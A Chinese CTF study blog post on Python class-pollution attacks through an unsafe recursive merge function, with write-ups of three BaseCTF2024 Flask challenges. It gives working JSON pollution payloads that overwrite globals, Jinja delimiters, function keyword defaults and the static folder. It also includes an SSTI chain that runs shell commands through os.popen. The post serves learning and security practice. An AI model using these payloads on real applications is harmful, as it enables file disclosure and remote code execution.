本文最后更新于 2026年2月14日 下午
前置知识
危险函数
1 2 3 4 5 6 7 8 9 10 11 12
| def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
|
我们可以通过对src的控制,来控制dst的值,来达到我们污染的目的。
魔术方法
父子类继承
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| class father: secret = "hello" class son_a(father): pass class son_b(father): pass def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) instance = son_b() payload = { "__class__" : { "__base__" : { "secret" : "world" } } } print(son_a.secret) print(instance.secret) merge(payload, instance) print(son_a.secret) print(instance.secret)
|
通过__base__属性查找到继承的父类,然后污染到的父类中的secret参数
获取全局变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| a = 1 def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) def demo(): pass class A: def __init__(self): pass class B: classa = 2
instance = A() payload = { "__init__":{ "__globals__":{ "a":4, "B":{ "classa":5 } } } } print(B.a) print(a) merge(payload, instance) print(B.a) print(a)
|
利用__init__装饰器的__globals__属性获取全局变量
参考文献
浅谈Python原型链污染及利用方式-先知社区
Python原型链污染从基础到深入 - Rycarls little blog
[BaseCTF2024]圣钥之战1.0
先进/read查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from flask import Flask,request import json
app = Flask(__name__)
def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
def is_json(data): try: json.loads(data) return True except ValueError: return False
class cls(): def __init__(self): pass
instance = cls()
@app.route('/', methods=['GET', 'POST']) def hello_world(): return open('/static/index.html', encoding="utf-8").read()
@app.route('/read', methods=['GET', 'POST']) def Read(): file = open(__file__, encoding="utf-8").read() return f"J1ngHong说:你想read flag吗? 那么圣钥之光必将阻止你! 但是小小的源码没事,因为你也读不到flag(乐) {file} "
@app.route('/pollute', methods=['GET', 'POST']) def Pollution(): if request.is_json: merge(json.loads(request.data),instance) else: return "J1ngHong说:钥匙圣洁无暇,无人可以污染!" return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"
if __name__ == '__main__': app.run(host='0.0.0.0',port=80)
|
我们发现/read加载了file,那就只需要在/pollute下污染全局变量__file__

[BaseCTF2024]Jinja Mark
打开发现两个路由/index和/flag
/index是ssti注入,但是过滤了花括号,提示了/magic
去/flag用bp爆破出lucky_number是5346,得到了部分源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| BLACKLIST_IN_index = ['{','}'] def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) @app.route('/magic',methods=['POST', 'GET']) def pollute(): if request.method == 'POST': if request.is_json: merge(json.loads(request.data), instance) return "这个魔术还行吧" else: return "我要json的魔术" return "记得用POST方法把魔术交上来"
|
所以思路就是在/magic路由下污染jinja语法标识符
1 2 3 4 5 6 7 8 9 10 11
| { "__init__" : { "__globals__" : { "app" : { "jinja_env" :{ "variable_start_string" : "<<","variable_end_string":">>" } } } } }
|
接下来就是无过滤的ssti,随便找个链子把{}换成<>就行了
1
| <<config.__class__.__init__.__globals__['os'].popen('cat /f*').read()>>
|
[BaseCTF2024]Lucky Number
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from flask import Flask,request,render_template_string,render_template from jinja2 import Template import json import heaven def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
class cls(): def __init__(self): pass
instance = cls()
BLACKLIST_IN_index = ['{','}'] def is_json(data): try: json.loads(data) return True except ValueError: return False
@app.route('/m4G1c',methods=['POST', 'GET']) def pollute(): if request.method == 'POST': if request.is_json: merge(json.loads(request.data), instance) result = heaven.create() message = result["message"] return "这个魔术还行吧 " + message else: return "我要json的魔术" return "记得用POST方法把魔术交上来"
def create(kon="Kon", pure="Pure", *, confirm=False): if confirm and "lucky_number" not in create.__kwdefaults__: return {"message": "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?", "lucky_number": "nope"} if confirm and "lucky_number" in create.__kwdefaults__: return {"message": "这是你的lucky_number,请拿好,去/check下检查一下吧", "lucky_number": create.__kwdefaults__["lucky_number"]}
return {"message": "你有什么想创造的吗?", "lucky_number": "nope"}
|
根据题目的提示,要污染heaven.py的create函数的__kwdefaults__属性,审计代码发现还有一关判断,就是confirm必须是true
方法一(可以通过全局变量访问heaven.py)
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| { "__init__":{ "__globals__":{ "heaven":{ "create":{ "__kwdefaults__":{ "confirm":"True", "lucky_number":"5346" } } } } } }
|
接下来到/check发现和上个题套路一样,/ssSstTti1无过滤的ssti注入
**
方法二(通法)
贴一下官方wp
此处是要污染heaven.py的create函数的**kwdefaults属性,该属性存储的是仅关键字参数,即位于之后的参数。由于create函数在另一个模块中,我们需要利用sys模块的modules属性来获取到*heaven.py,但是代码中并没有导入sys模块。那么该怎么获取到这个模块呢?在python中存在着**spec**内置属性,包含了关于类加载时的信息,定义在Lib/importlib/_bootstrap.py的类ModuleSpec,所以可以直接采用<模块名>.__spec__.__init__.__globals__['sys']获取到sys模块,此处就可以使用json模块获取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| { "__init__": { "__globals__": { "json":{ "__spec__":{ "__init__" : { "__globals__" : { "sys" : { "modules" : { "heaven" : { "create" : { "__kwdefaults__" : { "confirm" : true, "lucky_number" : "5346" } } } } } } } } } } } }
|
非预期解——修改静态目录
1 2 3 4 5 6 7 8 9
| { "__init__":{ "__globals__":{ "app":{ "_static_folder":"./" } } } }
|
访问/static/flag
参考
Python原型链污染之修改静态目录_